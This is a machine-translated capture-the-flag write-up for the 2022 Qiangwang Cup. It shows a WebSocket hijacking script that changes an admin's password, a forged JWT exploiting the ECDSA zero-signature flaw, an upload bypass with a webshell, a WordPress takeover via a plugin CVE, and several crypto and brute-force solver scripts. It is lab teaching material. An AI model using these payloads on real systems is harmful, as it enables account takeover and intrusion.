Copa de tenis fuerte 2022 WP

Facturación MISC

Valor de la bandera:
flag{we1come_t0_qwb_s6}

Sólido archivo pionero de la red

Después de muchas pruebas de carga, se descubrió que solo se pueden cargar archivos en formato de imagen, no se pueden cargar archivos en php, php5 y otros formatos, pero se puede omitir usando . Se puede cargar (debe verificar el tipo de
archivo , simplemente cámbielo a formato jpg) y conéctese correctamente
inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí

Espada de hormiga conectada con éxito
inserte la descripción de la imagen aquí

Suba el directorio y encuentre el
valor de la bandera de la bandera:
flag{5d3c9f27-e8fe-4e5d-9a2d-4e907a32adec}

web bebé web

Primero registre una cuenta, es un robot de chat, siga las instrucciones para enviar ayuda
con dos funciones, una es changepw para cambiar la contraseña y la otra es enviar una vulnerabilidad al administrador. Probé
XSS, y parece que es inútil. Burp captura paquetes. Es comunicación websocket
Baidu buscó La vulnerabilidad de secuestro websocket
se combina con el cambio de contraseña + identidad del administrador. Según la experiencia de hacer las preguntas, se supone que es una forma de cambiar la contraseña del administrador para obtener privilegios de administrador.
Entonces hay una dirección, muy similar a Csrf, y comenzamos a prepararnos.
Necesitamos encontrar una manera de permitir que el administrador haga clic en la interfaz que construimos para cambiar la contraseña.

<script>
var url="ws://127.0.0.1:8888/bot";   //这里的8888是题目上给的端口
var ws=new WebSocket(url);
ws.onopen=function(e){
ws.send("changepw 12345")};
</script>

Póngalo en el servidor de red externo y envíelo al administrador a través de un informe de error en la interfaz de envío de vulnerabilidades, para que el administrador
visite esta página localmente y envíe una instrucción para cambiar la contraseña.
Luego iniciamos sesión en la cuenta del administrador y es exitoso.
inserte la descripción de la imagen aquí

Hay otra capa, compre una pista, descubra que es el código fuente,
realice una auditoría de código y capture paquetes de eructos
inserte la descripción de la imagen aquí

Obtenga con éxito el
valor de la bandera de la bandera:
flag{617a3096-f514-4e7d-9472-e98924fbbec7}

pionero de la red fuerte asr

import gmpy2
n= 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001

a=gmpy2.iroot(n, 2)
print(a)

Primero use gmpy2 para extraer el cuadrado de n
para obtener a (el n estándar)
a=2872432989693854281918578458293603200587306199407874717707522587993136874097838265650829958344702997782980206004276973399784460125581362617464018665640001
y luego use yafu para descomponer este número
inserte la descripción de la imagen aquí

Ejecute
p = 260594583349478633632570848336184053653
q = 223213222467584072959434495118689164399
el script para obtener m

import gmpy2
from Crypto.Util.number import *
p = 260594583349478633632570848336184053653
q = 223213222467584072959434495118689164399
#r = 218566259296037866647273372633238739089
#s = 225933944608558304529179430753170813347
e=3

phi=p*(p-1)*q*(q-1)
d=inverse(e,phi)
n=p*p*q*q
c=945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
m=pow(c,d,n)

#mm1 = 1248984295174749683050825615411469211061247361327166117293032213981703895553936323127707213641064897178474925251326429742817744892644764737209862
flag = m.to_bytes(64,byteorder='big')
print(m)

valor de la bandera
flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}

Cripto myJWT

JWT y ECDSA signature
TOKEN se componen de tres partes, base64 de heerd, base64 de payload, Signature (firma)
De acuerdo con el código fuente dado, podemos ver que el contenido del encabezado no ha cambiado. En la carga útil, necesitamos hacer un nombre de usuario igual a administrador y tener privilegios de administrador al mismo tiempo ()
inserte la descripción de la imagen aquí

De acuerdo con el token que proporciona, lo decodificamos en base64 para obtener el encabezado y la carga útil:

{"typ":"JWT","alg":"myES"}
{"iss":"qwb","name":"administrator","admin":false,"exp":1659241547664}

Cambiar la carga útil a

{"iss":"qwb","name":"administrator","admin":true,"exp":165924154766400}

Al mismo tiempo, de acuerdo con el código fuente y las características de ecdsa, cambiamos la tercera parte de jwt a base64, que solía ser ilegible 'AAA='
para obtener un nuevo token
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiYWRtaW5pc3RyYXRvciIsImFkbWluIjp0cnVlLCJleHAiOjE2NTkyNDE1NDc2NjQwMH0=.AAA= inserte la descripción de la imagen aquí

Valor de la bandera
flag{cve-2022-21449_Secur1ty_0f_c0de_1mplementation}

Fuerte red pionera polydiv

task.py muestra que hay dos capas de descifrado en el servidor. La primera capa es el conocido sha256 y parte del texto sin formato. Encuentre los primeros cuatro textos sin formato y explótelos directamente para obtenerlos;

import hashlib
ss = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

txt2 = "T9up62MRPNfO53WN"

sha256enc="ab79fb51140b7edd2b9010e0c5a4f4fe3ff73c68c17f5fb1264de03b0388cda7"
key=txt2

for a in ss:
  for b in ss:
    for c in ss:
      for d in ss:
        code = a+b+c+d
        encinfo = hashlib.sha256(bytes( (code+key).encode() ) ).hexdigest()
        if encinfo == sha256enc:
          print(code)
          print(encinfo)
          break

La segunda capa es de cálculo polinomial de grado 40, que también adopta la idea de voladura.
Las funciones y definiciones en Poly2.py nos dan la multiplicación y suma de polinomios, luego de un análisis simple, podemos obtener que la multiplicación y división de polinomios en la pregunta solo retienen el monomio con un coeficiente de 1. Usando la tercera definición de el polinomio dado, al mismo tiempo El número más alto de preguntas observadas es 14, y el número más alto de b(x) es 7. Básicamente, todos los b(x) se pueden resolver explotando el ciclo de siete capas aquí para obtener un
solo script para b(x);

class Polynomial2():
   '''
  模二多项式环,定义方式有三种
  一是从高到低给出每一项的系数
      >>> Polynomial2([1,1,0,1])
      x^3 + x^2 + 1

  二是写成01字符串形式
      >>> Polynomial2('1101')
      x^3 + x^2 + 1

  三是直接给出系数为1的项的阶
      >>> Poly([3,1,4])
      x^4 + x^3 + x
      >>> Poly([]) # 加法元
      0
      >>> Poly(0) # 乘法元
      1
      >>> Poly(1,2) * Poly(2,3)
      x^5 + x^3
  '''

   def __init__(self, ll):

       if type(ll) == str:
           ll = list(map(int, ll))

       self.param = ll[::-1]
       self.ones = [i for i in range(len(self.param)) if self.param[i] == 1]  # 系数为1的项的阶数列表
       self.Latex = self.latex()
       self.b = ''.join([str(i) for i in ll])  # 01串形式打印系数

       self.order = 0  # 最高阶
       try:
           self.order = max(self.ones)
       except:
           pass

   def format(self, reverse=True):
       '''
          格式化打印字符串
          默认高位在左
          reverse = False时,低位在左
          但是注意定义多项式时只能高位在右
      '''
       r = ''
       if len(self.ones) == 0:
           return '0'
       if reverse:
           return (
              (' + '.join(f'x^{
      
      i}' for i in self.ones[::-1]) + ' ').replace('x^0', '1').replace('x^1 ', 'x ')).strip()
       return ((' + '.join(f'x^{
      
      i}' for i in self.ones) + ' ').replace('x^0', '1').replace('x^1 ', 'x ')).strip()

   def __call__(self, x):
       '''
          懒得写了,用不到
      '''
       print(f'call({
      
      x})')

   def __add__(self, other):
       '''
          多项式加法
      '''
       a, b = self.param[::-1], other.param[::-1]
       if len(a) < len(b): a, b = b, a
       for i in range(len(a)):
           try:
               a[-1 - i] = (b[-1 - i] + a[-1 - i]) % 2
           except:
               break
       return Polynomial2(a)

   def __mul__(self, other):
       '''
          多项式乘法
      '''

       a, b = self.param[::-1], other.param[::-1]
       r = [0 for i in range(len(a) + len(b) - 1)]
       for i in range(len(b)):
           if b[-i - 1] == 1:
               if i != 0:
                   sa = a + [0] * i
               else:
                   sa = a
               sa = [0] * (len(r) - len(sa)) + sa
               # r += np.array(sa)
               # r %= 2
               r = [(r[t] + sa[t]) % 2 for t in range(len(r))]
       return Polynomial2(r)

   def __sub__(self, oo):
       # 模二多项式环,加减相同
       return self + oo

   def __repr__(self) -> str:
       return self.format()

   def __str__(self) -> str:
       return self.format()

   def __pow__(self, a):
       # 没有大数阶乘的需求,就没写快速幂
       t = Polynomial2([1])
       for i in range(a):
           t *= self
       return t

   def latex(self, reverse=True):
       '''
          Latex格式打印...其实就是给两位及以上的数字加个括号{}
      '''

       def latex_pow(x):
           if len(str(x)) <= 1:
               return str(x)
           return '{' + str(x) + '}'

       r = ''
       if len(self.ones) == 0:
           return '0'
       if reverse:
           return (' + '.join(f'x^{
      
      latex_pow(i)}' for i in self.ones[::-1]) + ' ').replace('x^0', '1').replace(' x^1 ',
                                                                                                               ' x ').strip()
       return (' + '.join(f'x^{
      
      latex_pow(i)}' for i in self.ones) + ' ').replace('x^0', '1').replace(' x^1 ',
                                                                                                     ' x ').strip()

   def __eq__(self, other):
       return self.ones == other.ones

   def __lt__(self, other):
       return max(self.ones) < max(other.ones)

   def __le__(self, other):
       return max(self.ones) <= max(other.ones)


def Poly(*args):
   '''
      另一种定义方式
      Poly([3,1,4]) 或 Poly(3,1,4)
  '''
   if len(args) == 1 and type(args[0]) in [list, tuple]:
       args = args[0]

   if len(args) == 0:
       return Polynomial2('0')

   ll = [0 for i in range(max(args) + 1)]
   for i in args:
       ll[i] = 1
   return Polynomial2(ll[::-1])


PP = Polynomial2
P = Poly
# 简化名称,按长度区分 P 和 PP
if __name__ == '__main__':
   pr = Poly([14,13,12,8,5,2,0])
   pa = Poly([7,6,4,3,2])
   pc = Poly([6,4,0])


   for a in range(8):
       bx = Poly(a)
       if(bx * pa + pc == pr):
           print(bx)
           break
   for a in range(8):
       for b in range(a+1,8):
           bx = Poly(a,b)
           ccx = bx * pa
           if(bx * pa + pc == pr):
               print(bx)
               break

   for a in range(8):
       for b in range(a+1,8):
           for c in range(b+1,8):
               bx = Poly(a,b,c)
               ccx= bx * pa
               if(bx * pa + pc == pr):
                   print(bx)
                   break

   for a in range(8):
       for b in range(a+1,8):
           for c in range(b+1,8):
               for d in range(c+1,8):
                   bx = Poly(a,b,c,d)
                   ccx = bx * pa
                   if(bx * pa + pc == pr):
                       print(bx)
                       break
   for a in range(8):
       for b in range(a+1,8):
           for c in range(b+1,8):
               for d in range(c+1,8):
                   for e in range(d+1,8):
                       bx = Poly(a,b,c,d,e)
                       ccx = bx * pa
                       if(bx * pa + pc == pr):
                           print(bx)
                           break
   for a in range(8):
       for b in range(a+1,8):
           for c in range(b+1,8):
               for d in range(c+1,8):
                   for e in range(d+1,8):
                       for f in range(e+1,8):
                           ccx = bx * pa
                           bx = Poly(a,b,c,d,e,f)
                           if(bx * pa + pc == pr):
                               print(bx)
                               break
   for a in range(8):
       for b in range(a+1,8):
           for c in range(b+1,8):
               for d in range(c+1,8):
                   for e in range(d+1,8):
                       for f in range(e+1,8):
                           for g in range(f+1,8):
                               ccx = bx * pa
                               bx = Poly(a,b,c,d,e,f,g)
                               if(bx * pa + pc == pr):
                                   print(bx)
                                   break
   for a in range(8):
       for b in range(a+1,8):
           for c in range(b+1,8):
               for d in range(c+1,8):
                   for e in range(d+1,8):
                       for f in range(e+1,8):
                           for g in range(f+1,8):
                               for h in range(g+1,8):
                                   ccx = bx * pa
                                   bx = Poly(a,b,c,d,e,f,g,h)
                                   if(bx * pa + pc == pr):
                                       print(bx)
                                       break
   for a in range(8):
       for b in range(a + 1, 8):
           for c in range(b + 1, 8):
               for d in range(c + 1, 8):
                   for e in range(d + 1, 8):
                       for f in range(e + 1, 8):
                           for g in range(f + 1, 8):
                               for h in range(g + 1, 8):
                                   for i in range(h+1,8):
                                       ccx = bx * pa
                                       bx = Poly(a, b, c, d, e, f, g, h,i)
                                       if (bx * pa + pc == pr):
                                           print(bx)
                                           break

Hay 40 bucles en el título, la entrada manual es demasiado lenta, escriba un script de envío automático:

import hashlib
from pwn import *

ss = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'



def talk_with_server(known, shaenc):
   for a in ss:
       for b in ss:
           for c in ss:
               for d in ss:
                   code = a + b + c + d
                   # print(type(code))
                   encinfo = hashlib.sha256(bytes((code + known).encode())).hexdigest()
                   if encinfo == shaenc:
                       print('code', code)
                       print(encinfo)
                       return code


class Polynomial2():
   '''
  模二多项式环,定义方式有三种
  一是从高到低给出每一项的系数
      >>> Polynomial2([1,1,0,1])
      x^3 + x^2 + 1

  二是写成01字符串形式
      >>> Polynomial2('1101')
      x^3 + x^2 + 1

  三是直接给出系数为1的项的阶
      >>> Poly([3,1,4])
      x^4 + x^3 + x
      >>> Poly([]) # 加法元
      0
      >>> Poly(0) # 乘法元
      1
      >>> Poly(1,2) * Poly(2,3)
      x^5 + x^3
  '''

   def __init__(self, ll):

       if type(ll) == str:
           ll = list(map(int, ll))

       self.param = ll[::-1]
       self.ones = [i for i in range(len(self.param)) if self.param[i] == 1]  # 系数为1的项的阶数列表
       self.Latex = self.latex()
       self.b = ''.join([str(i) for i in ll])  # 01串形式打印系数

       self.order = 0  # 最高阶
       try:
           self.order = max(self.ones)
       except:
           pass

   def format(self, reverse=True):
       '''
          格式化打印字符串
          默认高位在左
          reverse = False时,低位在左
          但是注意定义多项式时只能高位在右
      '''
       r = ''
       if len(self.ones) == 0:
           return '0'
       if reverse:
           return (
              (' + '.join(f'x^{
      
      i}' for i in self.ones[::-1]) + ' ').replace('x^0', '1').replace('x^1 ', 'x ')).strip()
       return ((' + '.join(f'x^{
      
      i}' for i in self.ones) + ' ').replace('x^0', '1').replace('x^1 ', 'x ')).strip()

   def __call__(self, x):
       '''
          懒得写了,用不到
      '''
       print(f'call({
      
      x})')

   def __add__(self, other):
       '''
          多项式加法
      '''
       a, b = self.param[::-1], other.param[::-1]
       if len(a) < len(b): a, b = b, a
       for i in range(len(a)):
           try:
               a[-1 - i] = (b[-1 - i] + a[-1 - i]) % 2
           except:
               break
       return Polynomial2(a)

   def __mul__(self, other):
       '''
          多项式乘法
      '''

       a, b = self.param[::-1], other.param[::-1]
       r = [0 for i in range(len(a) + len(b) - 1)]
       for i in range(len(b)):
           if b[-i - 1] == 1:
               if i != 0:
                   sa = a + [0] * i
               else:
                   sa = a
               sa = [0] * (len(r) - len(sa)) + sa
               # r += np.array(sa)
               # r %= 2
               r = [(r[t] + sa[t]) % 2 for t in range(len(r))]
       return Polynomial2(r)

   def __sub__(self, oo):
       # 模二多项式环,加减相同
       return self + oo

   def __repr__(self) -> str:
       return self.format()

   def __str__(self) -> str:
       return self.format()

   def __pow__(self, a):
       # 没有大数阶乘的需求,就没写快速幂
       t = Polynomial2([1])
       for i in range(a):
           t *= self
       return t

   def latex(self, reverse=True):
       '''
          Latex格式打印...其实就是给两位及以上的数字加个括号{}
      '''

       def latex_pow(x):
           if len(str(x)) <= 1:
               return str(x)
           return '{' + str(x) + '}'

       r = ''
       if len(self.ones) == 0:
           return '0'
       if reverse:
           return (' + '.join(f'x^{
      
      latex_pow(i)}' for i in self.ones[::-1]) + ' ').replace('x^0', '1').replace(' x^1 ',
                                                                                                               ' x ').strip()
       return (' + '.join(f'x^{
      
      latex_pow(i)}' for i in self.ones) + ' ').replace('x^0', '1').replace(' x^1 ',
                                                                                                     ' x ').strip()

   def __eq__(self, other):
       return self.ones == other.ones

   def __lt__(self, other):
       return max(self.ones) < max(other.ones)

   def __le__(self, other):
       return max(self.ones) <= max(other.ones)


def Poly(*args):
   '''
      另一种定义方式
      Poly([3,1,4]) 或 Poly(3,1,4)
  '''
   if len(args) == 1 and type(args[0]) in [list, tuple]:
       args = args[0]

   if len(args) == 0:
       return Polynomial2('0')

   ll = [0 for i in range(max(args) + 1)]
   for i in args:
       ll[i] = 1
   return Polynomial2(ll[::-1])


PP = Polynomial2
P = Poly


# 简化名称,按长度区分 P 和 PP
def get_bx(r1, a1, c1):
   # pr = Poly([14,13,11,10,9,3,1,0])
   # pa = Poly([7,3,1,0])
   # pc = Poly([6,5,2,1])
   # r = {}
   # a = {}
   # c = {}
   # lenR = input("R len")
   # for i in range(int(lenR)):
   #     r[i] = input()
   # lenA = input("A len")
   # for i in range(int(lenA)):
   #     a[i] = input()
   # lenC = input('C len')
   # for i in range(int(lenC)):
   #     c[i] = input()
   pr = Poly(r1)
   pa = Poly(a1)
   pc = Poly(c1)
   print(pr)
   for a in range(8):
       bx = Poly(a)
       if (bx * pa + pc == pr):
           print(bx)
           return bx
   for a in range(8):
       for b in range(a + 1, 8):
           bx = Poly(a, b)
           ccx = bx * pa
           if (bx * pa + pc == pr):
               print(bx)
               return bx

   for a in range(8):
       for b in range(a + 1, 8):
           for c in range(b + 1, 8):
               bx = Poly(a, b, c)
               ccx = bx * pa
               if (bx * pa + pc == pr):
                   print(bx)
                   return bx

   for a in range(8):
       for b in range(a + 1, 8):
           for c in range(b + 1, 8):
               for d in range(c + 1, 8):
                   bx = Poly(a, b, c, d)
                   ccx = bx * pa
                   if (bx * pa + pc == pr):
                       print(bx)
                       return bx
   for a in range(8):
       for b in range(a + 1, 8):
           for c in range(b + 1, 8):
               for d in range(c + 1, 8):
                   for e in range(d + 1, 8):
                       bx = Poly(a, b, c, d, e)
                       ccx = bx * pa
                       if (bx * pa + pc == pr):
                           print(bx)
                           return bx
   for a in range(8):
       for b in range(a + 1, 8):
           for c in range(b + 1, 8):
               for d in range(c + 1, 8):
                   for e in range(d + 1, 8):
                       for f in range(e + 1, 8):
                           bx = Poly(a, b, c, d, e, f)
                           ccx = bx * pa
                           bx = Poly(a, b, c, d, e, f)
                           if (bx * pa + pc == pr):
                               print(bx)
                               return bx
   for a in range(8):
       for b in range(a + 1, 8):
           for c in range(b + 1, 8):
               for d in range(c + 1, 8):
                   for e in range(d + 1, 8):
                       for f in range(e + 1, 8):
                           for g in range(f + 1, 8):
                               bx = Poly(a, b, c, d, e, f, g)
                               ccx = bx * pa
                               bx = Poly(a, b, c, d, e, f, g)
                               if (bx * pa + pc == pr):
                                   print(bx)
                                   return bx
   for a in range(8):
       for b in range(a + 1, 8):
           for c in range(b + 1, 8):
               for d in range(c + 1, 8):
                   for e in range(d + 1, 8):
                       for f in range(e + 1, 8):
                           for g in range(f + 1, 8):
                               for h in range(g + 1, 8):
                                   bx = Poly(a, b, c, d, e, f, g, h)
                                   ccx = bx * pa
                                   bx = Poly(a, b, c, d, e, f, g, h)
                                   if (bx * pa + pc == pr):
                                       print(bx)
                                       return bx
   for a in range(8):
       for b in range(a + 1, 8):
           for c in range(b + 1, 8):
               for d in range(c + 1, 8):
                   for e in range(d + 1, 8):
                       for f in range(e + 1, 8):
                           for g in range(f + 1, 8):
                               for h in range(g + 1, 8):
                                   for i in range(h + 1, 8):
                                       # bx = Poly(a, b, c, d, e, f,g,h,i)
                                       ccx = bx * pa
                                       bx = Poly(a, b, c, d, e, f, g, h, i)
                                       if (bx * pa + pc == pr):
                                           print(bx)
                                           return bx

tableR = ['x^14 ', 'x^13 ', 'x^12 ', 'x^11 ', 'x^10 ', 'x^9 ', 'x^8 ', 'x^7 ', 'x^6 ', 'x^5 ', 'x^4 ', 'x^3 ', 'x^2 ',
         'x ', '1']   
tableR1 = ['x^14', 'x^13', 'x^12', 'x^11', 'x^10', 'x^9', 'x^8', 'x^7', 'x^6', 'x^5', 'x^4', 'x^3', 'x^2',
          'x', '1']   
tableA = ['x^7 ', 'x^6 ', 'x^5 ', 'x^4 ', 'x^3 ', 'x^2 ', 'x ', '1']
tableA1 = ['x^7', 'x^6', 'x^5', 'x^4', 'x^3', 'x^2', 'x', '1']
tableC = ['x^6 ', 'x^5 ', 'x^4 ', 'x^3 ', 'x^2 ', 'x ', '1']
tableC1 = ['x^6', 'x^5', 'x^4', 'x^3', 'x^2', 'x', '1']


def parse_polyR(r, ply):
   ply = str(ply)
   for i in range(15):

       if ply.startswith(tableR[i]) and not ply.endswith(tableR1[i]): 

           if ply.startswith(tableR[i]):
               r[i] = 14 - i
           ply = ply[len(tableR[i]) + 2:] 
       if ply.endswith(tableR1[i]):
           r[i] = 14 - i


def parse_polyA(a, ply):
   ply = str(ply)
   for i in range(8):

       if ply.startswith(tableA[i]) and not ply.endswith(tableA1[i]):   

           if ply.startswith(tableA[i]):
               a[i] = 7 - i
           ply = ply[len(tableA[i]) + 2:]   
       if ply.endswith(tableA1[i]):
           a[i] = 7 - i


def parse_polyC(c, ply):
   ply = str(ply)
   for i in range(7):

       if ply.startswith(tableC[i]) and not ply.endswith(tableC1[i]): 

           if ply.startswith(tableC[i]):
               c[i] = 6 - i
           ply = ply[len(tableC[i]) + 2:] 
       if ply.endswith(tableC1[i]):
           c[i] = 6 - i


if __name__ == '__main__':
   a1 = {
    
    }
   r1 = {
    
    }
   c1 = {
    
    }
   p = remote("182.92.223.176", 25342)
   p.recvuntil("sha256(XXXX+")
   given = str(p.recv(16).strip())
   print('given', given, type(given), len(given))
   given = given[2:-1]
   print('given', given, type(given), len(given))
   p.recv(5)
   sha256enc = str(p.recv(
       64)) 
   sha256enc = sha256enc[2:-1]
   print(given, sha256enc)
   print(p.recvuntil(" XXXX:"))
   XXXX = talk_with_server(given, sha256enc)
   print(XXXX)
   p.sendline(str(XXXX))
   j = 0
   while j < 45:

       rx = str(p.recvline())
       print(rx)
       if j > 0:

           print(str(rx[9:-3])) 
           parse_polyR(r1, str(rx[9:-3]))
       else:
           print(str(rx[10:-3])) 
           parse_polyR(r1, str(rx[10:-3]))
       ax = str(p.recvline())
       print(ax)
       print(str(ax[9:-3]))
       cx = str(p.recvline())
       print(cx)
       print(str(cx[9:-3]))
       j += 1
       parse_polyA(a1, str(ax[9:-3]))

       parse_polyC(c1, str(cx[9:-3]))
       print('rx:', type(r1.values()), list(r1.values()))
       print('ax-:', a1.values())
       print('cx-:', c1.values())

       p.recvline()
       bx = get_bx(list(r1.values()), list(a1.values()), list(c1.values()))
       print(bx)
       p.sendline(str(bx))
       print(p.recvline())
       print('done', j)
       a1 = {
    
    }
       r1 = {
    
    }
       c1 = {
    
    }

Valor de la bandera
flag{c0923e5c-805c-42e3-91c3-160dceb41979

Accidente WEB

El indicador de aviso está en la página 504, y el tiempo de respuesta de la página web debe agotarse. Tomé la carga útil en línea y la cambié.

inserte la descripción de la imagen aquí

Luego use algunos repetidores más, repita varias veces y tendrá éxito
inserte la descripción de la imagen aquí

Valor de la bandera
flag{467e093c-08a5-4925-bdb8-cfa9eaa4506b}

Fuerte red pionera WP_um

Después de ingresar al tema, hay algunas indicaciones. Después de instalar Wordpress, use la herramienta wpscan para escanear
y escanear para obtener el nombre de usuario, MaoGePaMao

La contraseña solicitada durante la instalación es una regla de este tipo.
inserte la descripción de la imagen aquí

Explotación de vulnerabilidad CVE-2022-0799
inserte la descripción de la imagen aquí

Obtenga la contraseña: MaoGeYaoQiFeiLa
para ingresar al fondo

Después de obtener la contraseña, ingrese a la administración en segundo plano, modifique uno de los archivos php, guarde y acceda

inserte la descripción de la imagen aquíinserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/qq_51594676/article/details/126231452
Recomendado
Clasificación